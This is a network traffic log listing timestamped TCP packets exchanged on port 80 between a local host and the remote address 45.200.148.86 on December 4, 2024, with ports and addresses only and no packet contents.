Dec 4, 2024 15:12:16.782526970 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.782597065 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.782636881 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.783224106 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.783301115 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.783337116 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.784013987 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.784173965 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.784209013 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.784842968 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.784960032 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.784998894 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.785628080 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.785744905 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.785779953 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.786434889 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.786580086 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.786614895 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.787266016 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.787409067 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.787462950 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.788079977 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.788198948 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.788244009 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.788921118 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.789048910 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.789086103 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.789731979 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.789927959 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.789974928 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.790534019 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.790673971 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.790709972 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.791397095 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.791511059 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.791551113 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.792263985 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.792331934 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.792371035 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.793010950 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.793128967 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.793167114 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.793852091 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.793912888 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.793946028 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.794670105 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.794830084 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.794867039 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.795483112 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.795597076 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.795634031 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.796350002 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.796505928 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.796541929 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.797202110 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.797233105 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.797271967 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.797966003 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.798055887 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.798099041 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.798788071 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.799041033 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.799076080 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.799617052 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.799706936 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.799743891 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.800430059 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.800513983 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.800554037 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.801253080 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.801357031 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.801393986 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.881354094 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.881485939 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.881499052 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.881550074 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.881782055 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.881828070 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.882272959 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.882409096 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.882446051 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.883178949 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.883260012 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.883302927 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.884176970 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.884337902 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.884372950 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.884972095 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.885055065 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.885093927 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.885699987 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.885761976 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.885802031 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.886491060 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.886662006 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.886699915 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.887249947 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.887356997 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.887394905 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.888019085 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.888106108 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.888139963 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.888957977 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.889050007 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.889096022 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.889638901 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.889743090 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.889779091 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.890481949 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.890625000 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.890660048 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:16.891273975 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:16.937211990 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.040827036 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.040949106 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.041029930 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.041270971 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.041574955 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.041619062 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.041954994 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.042081118 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.042120934 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.042769909 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.042830944 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.042875051 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.043541908 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.043828011 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.043869019 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.044313908 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.044504881 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.044547081 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.045214891 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.045325041 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.045362949 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.045950890 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.046026945 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.046060085 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.046752930 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.046946049 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.046979904 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.047638893 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.047821045 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.047858953 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.048451900 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.048540115 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.048582077 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.049235106 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.049384117 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.049420118 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.050045013 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.050143957 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.050223112 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.050874949 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.051003933 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.051044941 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.051707983 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.051917076 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.051953077 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.052550077 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.052696943 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.052730083 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.053328037 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.053435087 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.053472996 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.054161072 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.054276943 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.054315090 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.054963112 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.055056095 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.055092096 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.055785894 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.055908918 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.055943966 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.056632996 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.056777000 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.056813002 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.057423115 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.057606936 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.057643890 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.058247089 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.058362007 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.058402061 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.059102058 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.059197903 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.059236050 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.059907913 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.060024977 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.060060978 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.060679913 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.060831070 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.060867071 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.061532974 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.061640978 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.061677933 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.062421083 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.062572002 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.062611103 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.063182116 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.063450098 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.063483000 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.063970089 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.064100027 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.064136028 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.064800978 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.064974070 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.065012932 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.065691948 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.065819979 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.065857887 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.066579103 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.066649914 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.066687107 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.067281961 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.067430973 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.067488909 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.068109035 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.068245888 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.068283081 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.068898916 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.069150925 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.069191933 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.069741011 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.069933891 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.070034981 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.070537090 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.070652962 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.070697069 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.071378946 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.071535110 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.071569920 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.072210073 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.072293997 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.072330952 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.073117971 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.073405027 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.073451996 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.073672056 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.073750973 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.073786020 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.074453115 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.074512959 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.074553013 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.075305939 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.075362921 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.075403929 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.076186895 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.076401949 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.076450109 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.077047110 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.077131033 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.077172041 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.077795029 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.077884912 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.077923059 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.078581095 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.078736067 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.078777075 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.079477072 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.079590082 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.079631090 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.080207109 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.080310106 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.080351114 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.081015110 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.081167936 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.081211090 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.081850052 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.081928968 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.081968069 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.082856894 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.082981110 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.083025932 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.083455086 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.124581099 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.232800007 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.233030081 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.233210087 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.233237982 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.233340979 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.233378887 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.234046936 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.234132051 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.234168053 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.234884977 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.235037088 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.235075951 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.235686064 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.235707045 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.235740900 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.236510038 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.236581087 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.236613035 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.237395048 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.237529993 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.237567902 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.238126993 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.238349915 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.238385916 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.238989115 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.239104986 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.239183903 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.239907026 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.240196943 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.240236044 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.240921021 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.241127968 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.241164923 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.241600037 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.241663933 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.241698027 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.242281914 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.242420912 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.242458105 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.243072033 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.243189096 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.243227005 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.243849039 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.244062901 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.244098902 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.244673967 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.244791031 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.244824886 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.245515108 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.245569944 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.245604992 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.246361971 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.246417046 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.246450901 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.247162104 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.247323990 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.247364044 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.248039007 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.248112917 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.248147964 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.248929024 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.248951912 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.248980045 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.249732018 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.249794960 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.249835014 CET	49717	80	192.168.2.11	45.200.148.86
